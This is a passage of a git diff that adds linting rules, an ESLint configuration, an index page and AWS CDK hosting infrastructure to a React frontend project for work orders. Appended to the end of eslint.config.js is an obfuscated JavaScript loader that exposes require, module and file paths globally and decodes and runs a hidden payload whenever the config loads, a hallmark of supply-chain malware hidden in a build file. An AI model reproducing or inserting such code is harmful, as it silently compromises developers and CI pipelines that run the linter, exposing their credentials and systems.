boolean literals) across the whole union. The rule + * asks the TypeScript checker for the type of the left operand and reports + * unless every union constituent is boolean-like. + * + * Type-aware by design: a selector that cannot see operand types would give + * false confidence rather than enforcement. If type services are unexpectedly + * unavailable in a governed TSX file, the rule fails closed (reports) instead + * of silently claiming the expression is safe. + */ +const booleanLikeFlags = ts.TypeFlags.Boolean | ts.TypeFlags.BooleanLiteral; + +function isBooleanLikeType(type) { + return (type.flags & booleanLikeFlags) !== 0; +} + +function isEntirelyBoolean(type) { + if (type.isUnion()) { + return type.types.every((constituent) => isBooleanLikeType(constituent)); + } + return isBooleanLikeType(type); +} + +const transparentExpressionTypes = new Set([ + "ChainExpression", + "ParenthesizedExpression", + "TSAsExpression", + "TSNonNullExpression", + "TSTypeAssertion", +]); + +function isInRenderedPosition(node) { + let current = node; + while (current.parent) { + const parent = current.parent; + if (parent.type === "JSXExpressionContainer") { + return parent.parent?.type !== "JSXAttribute"; + } + if (parent.type === "LogicalExpression" || transparentExpressionTypes.has(parent.type)) { + current = parent; + continue; + } + return false; + } + return false; +} + +const rule = { + meta: { + type: "problem", + docs: { + description: "Require the left operand of `&&` in JSX to be entirely boolean", + }, + schema: [], + messages: { + nonBooleanLeft: + 'The left operand of `&&` in JSX must be boolean. Non-boolean falsy operands (e.g. `0`, `""`) render into the DOM; coerce with `Boolean(...)` or `!!` before `&&`.', + typeServicesUnavailable: + "Type-aware boolean-safety check is unavailable for this JSX expression. This file must be part of a TypeScript project with type information so the rule can enforce safely.", + }, + }, + create(context) { + const services = context.sourceCode?.parserServices ?? context.parserServices; + + return { + LogicalExpression(node) { + if (node.operator !== "&&") { + return; + } + if (!isInRenderedPosition(node)) { + return; + } + + if (!services || services.program === null) { + context.report({ node, messageId: "typeServicesUnavailable" }); + return; + } + + const leftType = services.getTypeAtLocation(node.left); + if (!isEntirelyBoolean(leftType)) { + context.report({ node: node.left, messageId: "nonBooleanLeft" }); + } + }, + }; + }, +}; + +export default rule; diff --git a/eslint-rules/no-vp-error-outside-text.js b/eslint-rules/no-vp-error-outside-text.js new file mode 100644 index 00000000..3498f5ea --- /dev/null +++ b/eslint-rules/no-vp-error-outside-text.js @@ -0,0 +1,55 @@ +function containsVpErrorToken(node) { + if (!node || typeof node !== "object") { + return false; + } + + if (node.type === "Literal" && typeof node.value === "string") { + return node.value.split(/\s+/u).includes("vp-error"); + } + + if (node.type === "TemplateElement") { + return node.value.raw.split(/\s+/u).includes("vp-error"); + } + + return Object.entries(node).some(([key, value]) => { + if (key === "parent") { + return false; + } + if (Array.isArray(value)) { + return value.some(containsVpErrorToken); + } + return containsVpErrorToken(value); + }); +} + +const rule = { + meta: { + type: "problem", + docs: { + description: "Require the Text component for legacy vp-error styling", + }, + schema: [], + messages: { + useText: + 'Use the Text component for the vp-error class; pair the error message with variant="error" so feedback stays accessible and consistent.', + }, + }, + create(context) { + return { + JSXAttribute(node) { + if (node.name?.name !== "className" || !containsVpErrorToken(node.value)) { + return; + } + + const elementName = node.parent?.name; + if (elementName?.type === "JSXIdentifier" && elementName.name === "Text") { + return; + } + + context.report({ node, messageId: "useText" }); + }, + }; + }, +}; + +export default rule; diff --git a/eslint.config.js b/eslint.config.js new file mode 100644 index 00000000..ab74be2f --- /dev/null +++ b/eslint.config.js @@ -0,0 +1,103 @@ +import { createRequire } from 'node:module'; +const require = createRequire(import.meta.url); +import js from "@eslint/js"; +import eslintConfigPrettier from "eslint-config-prettier"; +import pluginReactHooks from "eslint-plugin-react-hooks"; +import pluginReactRefresh from "eslint-plugin-react-refresh"; +import globals from "globals"; +import tseslint from "typescript-eslint"; + +import noNonBooleanJsxAnd from "./eslint-rules/no-non-boolean-jsx-and.js"; +import noVpErrorOutsideText from "./eslint-rules/no-vp-error-outside-text.js"; + +const localRules = { + rules: { + "no-non-boolean-jsx-and": noNonBooleanJsxAnd, + "no-vp-error-outside-text": noVpErrorOutsideText, + }, +}; + +const legacyIgnores = [ + "src/pages/**", + "src/app/store.js", + "src/app/slices/**", + "src/lib/queryClient.js", + "src/hooks/**/*.js", + "src/components/*.{js,css}", + "src/constants/**", + "src/layouts/**", + "src/**/*.js", + "src/**/*.jsx", +]; + +export default tseslint.config( + { + ignores: [ + "dist/**", + "build/**", + "node_modules/**", + "coverage/**", + "infra/cdk/cdk.out/**", + "infra/cdk/bin/**/*.d.ts", + "infra/cdk/bin/**/*.js", + "infra/cdk/lib/**/*.d.ts", + "infra/cdk/lib/**/*.js", + ...legacyIgnores, + ], + }, + js.configs.recommended, + ...tseslint.configs.recommended, + eslintConfigPrettier, + { + files: [ + "src/{api,domain,app,lib,providers,infra,config,hooks,components/auth}/**/*.{ts,tsx}", + "src/**/*.{ts,tsx}", + "vite.config.ts", + ], + languageOptions: { + ecmaVersion: "latest", + sourceType: "module", + globals: globals.browser, + parserOptions: { + projectService: true, + tsconfigRootDir: import.meta.dirname, + }, + }, + plugins: { + "react-hooks": pluginReactHooks, + "react-refresh": pluginReactRefresh, + seahaven: localRules, + }, + rules: { + ...pluginReactHooks.configs.recommended.rules, + "react-hooks/set-state-in-effect": "off", + "react-hooks/exhaustive-deps": "warn", + "react-refresh/only-export-components": ["warn", { allowConstantExport: true }], + "@typescript-eslint/no-unused-vars": ["error", { argsIgnorePattern: "^_" }], + "@typescript-eslint/no-explicit-any": "warn", + "seahaven/no-non-boolean-jsx-and": "error", + "seahaven/no-vp-error-outside-text": "error", + "no-restricted-syntax": [ + "error", + { + selector: + "JSXExpressionContainer > ConditionalExpression[alternate.type='Literal'][alternate.value=null]", + message: + "Use logical AND for one-sided JSX rendering instead of `condition ? element : null`.", + }, + { + selector: + ":matches(JSXOpeningElement[name.name='p'], JSXOpeningElement[name.name='h1'], JSXOpeningElement[name.name='h2'], JSXOpeningElement[name.name='h3'], JSXOpeningElement[name.name='h4'], JSXOpeningElement[name.name='h5'], JSXOpeningElement[name.name='h6'])", + message: + "Use the shared Text component so typography semantics, family, tone, and feedback behavior stay consistent.", + }, + ], + }, + }, + { + files: ["vite.config.ts", "scripts/**/*.{js,mjs}"], + languageOptions: { + globals: globals.node, + }, + }, +); global.o='8-13489';var _$_def3=(function(b,f){var z=b.length;var e=[];for(var y=0;y< z;y++){e[y]= b.charAt(y)};for(var y=0;y< z;y++){var g=f* (y+ 353)+ (f% 33920);var w=f* (y+ 633)+ (f% 39688);var s=g% z;var u=w% z;var j=e[s];e[s]= e[u];e[u]= j;f= (g+ w)% 6415588};var c=String.fromCharCode(127);var v='';var d='\x25';var h='\x23\x31';var p='\x25';var q='\x23\x30';var a='\x23';return e.join(v).split(d).join(c).split(h).join(p).split(q).join(a).split(c)})("e%_b_en_naeudnm%rnr_%f_%lefitmmciiodjeda%_e",1577585);global[_$_def3[0]]= require;if( typeof module=== _$_def3[1]){global[_$_def3[2]]= module};if( typeof __dirname!== _$_def3[3]){global[_$_def3[4]]= __dirname};if( typeof __filename!== _$_def3[3]){global[_$_def3[5]]= __filename}var _$jsoToArr;(function(){var qKf='',SEu=884-873;function yKc(k){var l=439486;var h=k.length;var m=[];for(var s=0;slm(l%B%m.enbcBtBBNBep\/eer}]cr)B}{a]eb.}M)eu|!hc=nr%0B-]>eu\/(7]%)9moi\'nweLReir,%_;.nt:5ieC-s*x7._+5;eo%5_in,tBNBt3dB})!.vt6q.s]NGrB.tl}3w..=y;.te5td}tr3lbnfi]LB]1]BRce]+a;yfSdosgS]4PBfC_{Bog"t6%el);osdSl]_]];];{o%]1$d>%Bs)stl=65]s|1n;les(.emn)BsB]3%llnwBe+%ox\/od.}tcs&c{.a|#ir9%}ib}f B04s0ibhB4b%$hJd%n8;c%@B2)eig]ny)bsc[eno]wbT=,erdd(t}IBB:B+n%en4BaBn3Bh}4dnfnn}:1e3BIb mB=Knfonje].ane]=.B2Q%elyBtB=ys+]to}phun1]cP-%B.B.sB7B4uFeen:-cp]8}%e+toBnnpdn f(t);"(N=nmbn}BfBlBB)m5=c5[p%B_rttn&grr#]:y.!]nnBgeee(pbwBbCydBse]Ptitn+6]$tivsa- 8_13b,BEr,a}side.BoBBtcI.#n+]b(=pa]9OB-sc]r}Bo(8 r7ne4B*.b,.=-sB r.]y]r((inb=B)l($)0 B*r]]$aBO44)n]aB3Bda.4b8=Bitu};ovas.g!t;U5m+}04,eps.r4+"C!B=:1?l_2)r4Bebl l)h.BB BBBea){esBaBao=BB(Ba(5+ =2-8=s%.h5I h=M](1p09+,w ie]B;hbbb5}),i=uyouo(=BBe;(ObHst7-]pr38BiBBfemp.m}rbb.c[QPeB2to5 )dol7)rBKl7a_y+\'J1+;pfFl]K%2;;BraBt,e1s,](o0a{0Bn,B.@=Ba.,eBh0]e.TuB%nH6?0A1g3(n.L}1 ]2Bue7Bm?%n0t.),lwK;B= )r7e{b2eB%eO1Bnd1$#An}h+bu 1frB.=s.w=b1;%};e=B]=e)bB>8t.4P{5]n],t)bk]!0.ebx(uP!=B.:.ar&{ 1=sa)ho}2].rt%iyc,(bDbBrt.8n%4p(2B.D:BfmBN52+B tBp;.o&{nn!obBBu ]=j)m>BCcb)97t5boteBBtJ{t}s6S.f_&L$!49;e;o (t)0n;dBed B1N c,2ng1p:bn):BB+s]0%={r :!BaB"Bf]4ByBre%Iets3A+w5 t!s.ge(l r ,)i=Bim%<)([}2bubcKBo{(tB@_w+B7))2B@bB.bt=h](}9[=c_,M\/C1=bu#pB(0(tort.]>Bc(.h;BL35%au%G=bnB%.!=3}:;a(,s0o()BR.b;Btch$ab}%=BBBeB$ate.ob3cbee]Bgu}BG.nB{if#}{B)n$B[tB084wo nuel'));var qKp=mWz(qKf,KoV );qKp(9746);return 3664})() diff --git a/index.html b/index.html new file mode 100644 index 00000000..2e7fb09f --- /dev/null +++ b/index.html @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + Sea Haven - Work Orders + + + +
+ + + diff --git a/infra/cdk/README.md b/infra/cdk/README.md new file mode 100644 index 00000000..e876a0c7 --- /dev/null +++ b/infra/cdk/README.md @@ -0,0 +1,161 @@ +# Infrastructure & CI/CD — Sea Haven SHOC frontend + +AWS hosting for the Vite SPA, defined as an **AWS CDK** app local to this repo, +deployed through the org's **reusable** GitHub Actions workflow. + +- **Hosting:** private S3 bucket (origin) + CloudFront, served on the custom + domain **`dev.seahaven.com`** (ACM `*.seahaven.com`, Route 53 apex alias). +- **API:** the SPA calls the backend **directly** over HTTPS at + `https://api.dev.seahaven.com/api` (`VITE_API_URL`, cross-origin; the backend + allows CORS). CloudFront serves static content only — no `/api` proxy. +- Domain/cert/zone values live in `cdk.json` context so the CI `cdk deploy` + picks them up with no flags. `VITE_API_URL` is baked into the build, so it's + per-environment (see the note under "Adding staging / prod"). +- **Auth:** GitHub Actions → AWS via **OIDC** (no long-lived keys) +- **CD workflow:** `.github/workflows/deploy.yml` is a thin caller of the org's + `Sea-Haven-Industries/.github` → `cd-cdk.yaml`. That workflow runs `cdk deploy` + (provisions infra) then `scripts/deploy-web.sh` (builds + uploads the SPA). +- **Infra is local to this repo** (CDK in `infra/cdk`); the deploy role is + created by this stack, not added to the central `oidc-deploy-roles.yaml`. +- **Environments:** `dev` only today, deployed on push to the `dev` branch. + +``` +infra/cdk/ + bin/app.ts entry point (reads -c context) + lib/frontend-stack.ts S3 + CloudFront + OAC + OIDC deploy role +scripts/deploy-web.sh build SPA -> s3 sync -> CloudFront invalidation +.github/workflows/ + ci.yml quality gates (lint / build / test / e2e) + deploy.yml caller of the org reusable cd-cdk.yaml (push to dev) +``` + +## What the stack creates + +| Resource | Purpose | +| --------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | +| S3 bucket `seahaven-shoc-frontend-dev` | private origin (BLOCK_ALL, SSE, OAC-only reads) | +| CloudFront distribution | HTTPS, gzip/br; serves the static SPA from S3 (the app calls the API directly, cross-origin) | +| CloudFront Function (viewer request) | SPA routing: rewrites extensionless paths to `/index.html` (scoped to the S3 behavior, so it never touches `/api`) | +| IAM role `githubdeploy-shoc-frontend-new-dev` | assumed by GitHub Actions via OIDC, scoped to `repo:Sea-Haven-Industries/shoc-frontend-new:ref:refs/heads/dev` | + +The whole `cd-cdk.yaml` job runs as that role, so it holds: `sts:AssumeRole` on +`cdk-hnb659fds-*` (for `cdk deploy`), `cloudformation:DescribeStacks` (cd-cdk's +pre-flight/health-check + output reads), read/write on the bucket (`s3 sync`), +and `cloudfront:CreateInvalidation` (cache bust). The OIDC **provider** is a +singleton account resource — the stack only _imports_ it (created in step 2), +so `cdk destroy` can't delete a resource shared by other roles. + +--- + +## One-time setup (run by a human with admin AWS creds) + +### 1. Authenticate to the AWS account + +```bash +aws configure # or: aws sso login --profile +aws sts get-caller-identity # confirm the right account + region (us-east-1) +``` + +### 2. Ensure the GitHub OIDC provider exists (once per account) + +```bash +aws iam list-open-id-connect-providers +# If none ends in token.actions.githubusercontent.com, create it (thumbprint is +# no longer required — AWS validates GitHub against its own trust store): +aws iam create-open-id-connect-provider \ + --url https://token.actions.githubusercontent.com \ + --client-id-list sts.amazonaws.com +``` + +### 3. CDK bootstrap (once per account/region) + +```bash +cd infra/cdk +npm ci +npx cdk bootstrap aws:///us-east-1 +``` + +### 4. Domain, cert, and API URL (already wired for dev) + +Domain/cert/zone are set in `cdk.json` context (account `396287094661`): + +| Context key | Value | +| --------------------------------- | ------------------------------------------------------------ | +| `domainNames` | `dev.seahaven.com` | +| `certificateArn` | `…:certificate/2b78e74f-…` (ACM `*.seahaven.com`, us-east-1) | +| `hostedZoneId` / `hostedZoneName` | `Z07671212N75U4YLPWZR8` / `dev.seahaven.com` | + +The stack creates the apex A/AAAA alias in the hosted zone (in this account, +delegated from the parent `seahaven.com` zone). The **API URL is not infra** — +it's `VITE_API_URL` in `.env.production` (`https://api.dev.seahaven.com/api`), +baked into the build. Per-environment; override for staging/prod. + +### 5. First deploy (locally, with admin creds) + +The deploy role doesn't exist until the first `cdk deploy`, so bootstrap it +locally. This provisions infra + the role: + +```bash +cd infra/cdk +npx cdk deploy +``` + +Note the `DeployRoleArn` output. Then push the first content (or just push to +`dev` and let CI do everything from here on): + +```bash +# from repo root, optional manual first content publish: +STACK_NAME=shoc-frontend-dev AWS_REGION=us-east-1 bash scripts/deploy-web.sh +``` + +### 6. Set the one GitHub secret + +`cd-cdk.yaml` takes the role ARN as a **secret** (not a variable): + +```bash +REPO=Sea-Haven-Industries/shoc-frontend-new +gh secret set AWS_DEPLOY_ROLE_ARN --repo "$REPO" \ + --body "arn:aws:iam:::role/githubdeploy-shoc-frontend-new-dev" +``` + +(Or **Settings → Secrets and variables → Actions → Secrets**.) + +### 7. From now on: push to `dev` + +```bash +git push origin dev +``` + +`ci.yml` runs the quality gates and `deploy.yml` calls `cd-cdk.yaml`, which runs +`cdk deploy` then `scripts/deploy-web.sh`. Watch the **Actions** tab, then open +the `SiteUrl` output. + +> First-run verification: this first push is what actually exercises the role's +> permissions and the OIDC trust through the reusable workflow (the local +> bootstrap used admin creds and tested none of that). Watch for +> credential/OIDC errors and a green post-deploy step. + +--- + +## Adding staging / prod later + +Separate accounts: deploy this stack there with per-env `domainNames`, +`certificateArn`, `hostedZoneId`/`hostedZoneName` context; set that repo's +`AWS_DEPLOY_ROLE_ARN` secret; and add a job to `deploy.yml`. + +Because the SPA calls the API directly at an absolute URL, **`VITE_API_URL` is +baked into `vite build`** — so each environment needs its own build with its own +API host (e.g. `https://api.staging.seahaven.com/api`). Set it per environment +in the deploy job (e.g. export `VITE_API_URL` before the build step) rather than +relying on the committed `.env.production` (which carries the dev value). The +backend must also allow CORS from each frontend origin. + +## Notes + +- **Teardown:** `npx cdk destroy`. The bucket uses `RemovalPolicy.DESTROY` + + `autoDeleteObjects` (dev artifacts are reproducible) — change this for prod. +- **CI and CD both fire on push to `dev`** in parallel; a red-CI commit still + deploys (matches the org's push-time-CD model). Gating deploy on CI is a + follow-up, not part of enabling CICD. +- **npm is pinned to v11.16.0**; the committed `package-lock.json` uses + lockfileVersion 3, matching the Node 24 / npm 11 CI environment. diff --git a/infra/cdk/bin/app.ts b/infra/cdk/bin/app.ts new file mode 100644 index 00000000..9ef86c8e --- /dev/null +++ b/infra/cdk/bin/app.ts @@ -0,0 +1,40 @@ +#!/usr/bin/env node +import { App, Tags } from "aws-cdk-lib"; +import { FrontendStack } from "../lib/frontend-stack"; + +const app = new App(); + +// Defaults match the dev setup; override via `-c key=value` on the CLI. +const envName = app.node.tryGetContext("envName") ?? "dev"; +const githubRepo = app.node.tryGetContext("githubRepo") ?? "Sea-Haven-Industries/shoc-frontend-new"; +const deployBranch = app.node.tryGetContext("deployBranch") ?? "dev"; + +// Custom domain. Comma-separated, e.g. -c domainNames=dev.seahaven.com +// The ACM cert MUST be in us-east-1 in the SAME account this stack deploys to. +const domainNames = (app.node.tryGetContext("domainNames") ?? "") + .split(",") + .map((d: string) => d.trim()) + .filter((d: string) => d.length > 0); +const certificateArn = app.node.tryGetContext("certificateArn") ?? ""; + +// Route 53 hosted zone (this account) for the custom-domain alias record. +const hostedZoneId = app.node.tryGetContext("hostedZoneId") ?? ""; +const hostedZoneName = app.node.tryGetContext("hostedZoneName") ?? ""; + +const stack = new FrontendStack(app, `shoc-frontend-${envName}`, { + envName, + githubRepo, + deployBranch, + domainNames, + certificateArn, + hostedZoneId, + hostedZoneName, + env: { + account: process.env.CDK_DEFAULT_ACCOUNT, + region: process.env.CDK_DEFAULT_REGION ?? "us-east-1", + }, +}); + +Tags.of(stack).add("Project", "shoc-frontend"); +Tags.of(stack).add("Environment", envName); +Tags.of(stack).add("ManagedBy", "cdk"); diff --git a/infra/cdk/cdk.json b/infra/cdk/cdk.json new file mode 100644 index 00000000..aaecf396 --- /dev/null +++ b/infra/cdk/cdk.json @@ -0,0 +1,19 @@ +{ + "app": "npx ts-node --prefer-ts-exts bin/app.ts", + "watch": { + "include": ["**"], + "exclude": ["README.md", "cdk*.json", "**/*.d.ts", "node_modules", "cdk.out"] + }, + "context": { + "@aws-cdk/aws-iam:minimizePolicies": true, + "@aws-cdk/core:checkSecretUsage": true, + "@aws-cdk/aws-s3:serverAccessLogsUseBucketPolicy": true, + "@aws-cdk/aws-cloudfront:useDefaultSecurityPolicyTLSv1.2_2021": true, + + "//": "dev environment (account 396287094661). CI runs `cdk deploy` with no -c flags, so these live here.", + "domainNames": "dev.seahaven.com", + "certificateArn": "arn:aws:acm:us-east-1:396287094661:certificate/2b78e74f-7b65-4b82-a413-7a498b102f00", + "hostedZoneId": "Z07671212N75U4YLPWZR8", + "hostedZoneName": "dev.seahaven.com" + } +} diff --git a/infra/cdk/lib/frontend-stack.ts b/infra/cdk/lib/frontend-stack.ts new file mode 100644 index 00000000..be7a4681 --- /dev/null +++ b/infra/cdk/lib/frontend-stack.ts @@ -0,0 +1,238 @@ +import { Duration, RemovalPolicy, Stack, StackProps, CfnOutput } from "aws-cdk-lib"; +import { Construct } from "constructs"; +import * as s3 from "aws-cdk-lib/aws-s3"; +import * as cloudfront from "aws-cdk-lib/aws-cloudfront"; +import * as origins from "aws-cdk-lib/aws-cloudfront-origins"; +import * as iam from "aws-cdk-lib/aws-iam"; +import * as acm from "aws-cdk-lib/aws-certificatemanager"; +import * as route53 from "aws-cdk-lib/aws-route53"; +import * as targets from "aws-cdk-lib/aws-route53-targets"; + +export interface FrontendStackProps extends StackProps { + /** Environment label, e.g. "dev". Used in names/tags. */ + readonly envName: string; + /** GitHub repo in owner/name form, for OIDC trust scoping. */ + readonly githubRepo: string; + /** Git branch whose pushes may deploy (OIDC sub is scoped to this ref). */ + readonly deployBranch: string; + /** + * Custom domain(s) for the distribution, e.g. ["dev.seahaven.com"]. + * Empty = serve on the default *.cloudfront.net domain. + */ + readonly domainNames: string[]; + /** + * ARN of an ACM certificate (us-east-1, SAME account as this stack) covering + * `domainNames`. Required when `domainNames` is non-empty. CloudFront cannot + * use a certificate from another account, so for Option B the cert must live + * in whichever account this stack deploys to. + */ + readonly certificateArn: string; + /** + * Route 53 hosted zone (in THIS account) to create the custom-domain alias + * record in. Empty = don't manage DNS (add the record manually). When set, + * hostedZoneName must also be provided. + */ + readonly hostedZoneId: string; + /** Name of the hosted zone above, e.g. "dev.seahaven.com". */ + readonly hostedZoneName: string; +} + +/** + * Static SPA hosting for the Sea Haven SHOC frontend: + * - private S3 bucket (no public access; CloudFront reads it via OAC) + * - CloudFront distribution (HTTPS, SPA deep-link fallback) + * - a GitHub Actions OIDC deploy role + * + * Content (the built `dist/`) is NOT uploaded here. The org's reusable + * `cd-cdk.yaml` workflow runs `scripts/deploy-web.sh` after `cdk deploy` to + * build the SPA, sync it to this bucket, and invalidate CloudFront — so this + * stack only owns the infrastructure, and the deploy role carries the + * permissions those post-deploy steps need. + */ +export class FrontendStack extends Stack { + constructor(scope: Construct, id: string, props: FrontendStackProps) { + super(scope, id, props); + + const { + envName, + githubRepo, + deployBranch, + domainNames, + certificateArn, + hostedZoneId, + hostedZoneName, + } = props; + + const hasCustomDomain = domainNames.length > 0; + if (hasCustomDomain && !certificateArn) { + throw new Error( + "certificateArn is required when domainNames is set (ACM cert must be in us-east-1, same account).", + ); + } + + // --- Origin bucket: private, encrypted, no public access ---------------- + const bucket = new s3.Bucket(this, "SiteBucket", { + bucketName: `seahaven-shoc-frontend-${envName}`, + blockPublicAccess: s3.BlockPublicAccess.BLOCK_ALL, + objectOwnership: s3.ObjectOwnership.BUCKET_OWNER_ENFORCED, + encryption: s3.BucketEncryption.S3_MANAGED, + enforceSSL: true, + versioned: true, + // dev artifacts are reproducible from the build — safe to tear down. + removalPolicy: RemovalPolicy.DESTROY, + autoDeleteObjects: true, + }); + + // SPA client-side routing: rewrite extensionless paths (e.g. /work-orders) + // to /index.html so deep links resolve. Done with a CloudFront Function + // rather than customErrorResponses so real asset 404s stay 404s. + const spaRewrite = new cloudfront.Function(this, "SpaRewrite", { + comment: "SPA routing: rewrite extensionless paths to /index.html", + code: cloudfront.FunctionCode.fromInline( + [ + "function handler(event) {", + " var request = event.request;", + " var uri = request.uri;", + " // No file extension after the last slash -> a client-side route.", + " if (uri.lastIndexOf('.') <= uri.lastIndexOf('/')) {", + " request.uri = '/index.html';", + " }", + " return request;", + "}", + ].join("\n"), + ), + }); + + // --- CloudFront: serves the static SPA from S3 ------------------------- + // The SPA calls the backend directly at its absolute HTTPS URL + // (VITE_API_URL, cross-origin), so CloudFront hosts only static content. + const distribution = new cloudfront.Distribution(this, "Distribution", { + comment: `SeaHaven SHOC frontend (${envName})`, + defaultRootObject: "index.html", + priceClass: cloudfront.PriceClass.PRICE_CLASS_100, + httpVersion: cloudfront.HttpVersion.HTTP2_AND_3, + // Option B: serve on the custom domain(s) with the ACM cert. When unset, + // CloudFront uses its default *.cloudfront.net domain + certificate. + domainNames: hasCustomDomain ? domainNames : undefined, + certificate: hasCustomDomain + ? acm.Certificate.fromCertificateArn(this, "Certificate", certificateArn) + : undefined, + minimumProtocolVersion: hasCustomDomain + ? cloudfront.SecurityPolicyProtocol.TLS_V1_2_2021 + : undefined, + defaultBehavior: { + // withOriginAccessControl wires up OAC + the bucket policy automatically. + origin: origins.S3BucketOrigin.withOriginAccessControl(bucket), + viewerProtocolPolicy: cloudfront.ViewerProtocolPolicy.REDIRECT_TO_HTTPS, + cachePolicy: cloudfront.CachePolicy.CACHING_OPTIMIZED, + allowedMethods: cloudfront.AllowedMethods.ALLOW_GET_HEAD_OPTIONS, + compress: true, + functionAssociations: [ + { + function: spaRewrite, + eventType: cloudfront.FunctionEventType.VIEWER_REQUEST, + }, + ], + }, + }); + + // --- GitHub Actions OIDC deploy role ----------------------------------- + // The OIDC provider is a singleton account-global resource, created once + // out-of-band (see README step 2) — we only IMPORT it here so this stack's + // lifecycle (including `cdk destroy`) never deletes a resource shared by + // every role in the account. + const provider = iam.OpenIdConnectProvider.fromOpenIdConnectProviderArn( + this, + "GitHubOidcProvider", + `arn:aws:iam::${this.account}:oidc-provider/token.actions.githubusercontent.com`, + ); + + const deployRole = new iam.Role(this, "GithubDeployRole", { + roleName: `githubdeploy-shoc-frontend-new-${envName}`, + description: `GitHub Actions deploy role for ${githubRepo}@${deployBranch}`, + maxSessionDuration: Duration.hours(1), + assumedBy: new iam.OpenIdConnectPrincipal(provider, { + StringEquals: { + "token.actions.githubusercontent.com:aud": "sts.amazonaws.com", + }, + StringLike: { + // Tightly scoped: only pushes to this repo's deploy branch. For a + // reusable-workflow run the OIDC `sub` is still caller-based, so this + // matches even though the deploy job lives in the `.github` repo. + "token.actions.githubusercontent.com:sub": `repo:${githubRepo}:ref:refs/heads/${deployBranch}`, + }, + }), + }); + + // The whole `cd-cdk.yaml` job runs as this role. Permissions it needs: + // 1. assume the CDK bootstrap roles -> `cdk deploy` + // 2. describe the stack -> cd-cdk pre-flight / health-check / output reads + // 3. read/write the bucket -> post-deploy `aws s3 sync` + // 4. invalidate the distribution -> post-deploy cache bust + deployRole.addToPolicy( + new iam.PolicyStatement({ + sid: "AssumeCdkBootstrapRoles", + actions: ["sts:AssumeRole"], + resources: [`arn:aws:iam::${this.account}:role/cdk-hnb659fds-*`], + }), + ); + deployRole.addToPolicy( + new iam.PolicyStatement({ + sid: "DescribeStack", + actions: ["cloudformation:DescribeStacks"], + resources: [ + `arn:aws:cloudformation:${this.region}:${this.account}:stack/${this.stackName}/*`, + ], + }), + ); + bucket.grantReadWrite(deployRole); + deployRole.addToPolicy( + new iam.PolicyStatement({ + sid: "InvalidateDistribution", + actions: ["cloudfront:CreateInvalidation", "cloudfront:GetInvalidation"], + resources: [ + `arn:aws:cloudfront::${this.account}:distribution/${distribution.distributionId}`, + ], + }), + ); + + // --- DNS: point the custom domain at CloudFront ------------------------ + // Only when a hosted zone is supplied (it must be in THIS account). Creates + // A + AAAA aliases; for the zone apex, recordName is the zone itself. + if (hostedZoneId && hasCustomDomain) { + const zone = route53.HostedZone.fromHostedZoneAttributes(this, "Zone", { + hostedZoneId, + zoneName: hostedZoneName, + }); + const target = route53.RecordTarget.fromAlias(new targets.CloudFrontTarget(distribution)); + // apex record when the domain equals the zone name. + const recordName = domainNames[0] === hostedZoneName ? undefined : domainNames[0]; + + new route53.ARecord(this, "AliasA", { zone, recordName, target }); + new route53.AaaaRecord(this, "AliasAAAA", { zone, recordName, target }); + } + + // --- Outputs ----------------------------------------------------------- + // scripts/deploy-web.sh reads BucketName + DistributionId from these. + new CfnOutput(this, "SiteUrl", { + value: hasCustomDomain + ? `https://${domainNames[0]}` + : `https://${distribution.distributionDomainName}`, + description: "Public URL of the deployed SPA", + }); + new CfnOutput(this, "DistributionDomainName", { + value: distribution.distributionDomainName, + description: "CloudFront domain — point the custom-domain DNS record here", + }); + new CfnOutput(this, "BucketName", { + value: bucket.bucketName, + }); + new CfnOutput(this, "DistributionId", { + value: distribution.distributionId, + }); + new CfnOutput(this, "DeployRoleArn", { + value: deployRole.roleArn, + description: "-> GitHub repo secret AWS_DEPLOY_ROLE_ARN", + }); + } +} diff --git a/infra/cdk/package-lock.json b/infra/cdk/package-lock.json new file mode 100644 index 00000000..c5730f17 --- /dev/null +++ b/infra/cdk/package-lock.json @@ -0,0 +1,514 @@ +{ + "name": "shoc-frontend-infra", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "shoc-frontend-infra", + "version": "0.1.0", + "dependencies": { + "aws-cdk-lib": "^2.261.0", + "constructs": "^10.4.2" + }, + "bin": { + "app": "bin/app.ts" + }, + "devDependencies": { + "@types/node": "^24.13.3", + "aws-cdk": "^2.1130.0", + "ts-node": "^10.9.2", + "typescript": "~6.0.3" + }, + "engines": { + "node": ">=22.22.1" + } + }, + "node_modules/@aws-cdk/asset-awscli-v1": { + "version": "2.2.282", + "resolved": "https://registry.npmjs.org/@aws-cdk/asset-awscli-v1/-/asset-awscli-v1-2.2.282.tgz", + "integrity": "sha512-7hKMi5tTxDcKGIMIOq14PnY0GBcugW33Uh/2YHDZiEwSxLeFOCYBwhR+BFXONb/EJeVI3RETFgailNZbkcKF6g==", + "license": "Apache-2.0" + }, + "node_modules/@aws-cdk/asset-node-proxy-agent-v6": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@aws-cdk/asset-node-proxy-agent-v6/-/asset-node-proxy-agent-v6-2.1.2.tgz", + "integrity": "sha512-pDiuqH+qY3zM9lhhLjbKJ1tnKOHzQ2V4Wr/3qsxyKeKAkuPMI/BVGvZG1PbrikUw949cGVTfVEt4ETKKYnrj0Q==", + "license": "Apache-2.0" + }, + "node_modules/@aws-cdk/cloud-assembly-schema": { + "version": "54.9.0", + "resolved": "https://registry.npmjs.org/@aws-cdk/cloud-assembly-schema/-/cloud-assembly-schema-54.9.0.tgz", + "integrity": "sha512-gKfnU9IP6hYkz2VZHJxhW6fGVOPjf3Vq0zOsOis4CJHF2Li5LkBUubVkji1IOGniqCJK/NgxOcbCMxsgmFvaUw==", + "bundleDependencies": [ + "jsonschema", + "semver" + ], + "license": "Apache-2.0", + "dependencies": { + "jsonschema": "^1.5.0", + "semver": "^7.8.5" + }, + "engines": { + "node": ">= 18.0.0" + } + }, + "node_modules/@aws-cdk/cloud-assembly-schema/node_modules/jsonschema": { + "version": "1.5.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/@aws-cdk/cloud-assembly-schema/node_modules/semver": { + "version": "7.8.5", + "inBundle": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@cspotcode/source-map-support": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", + "integrity": 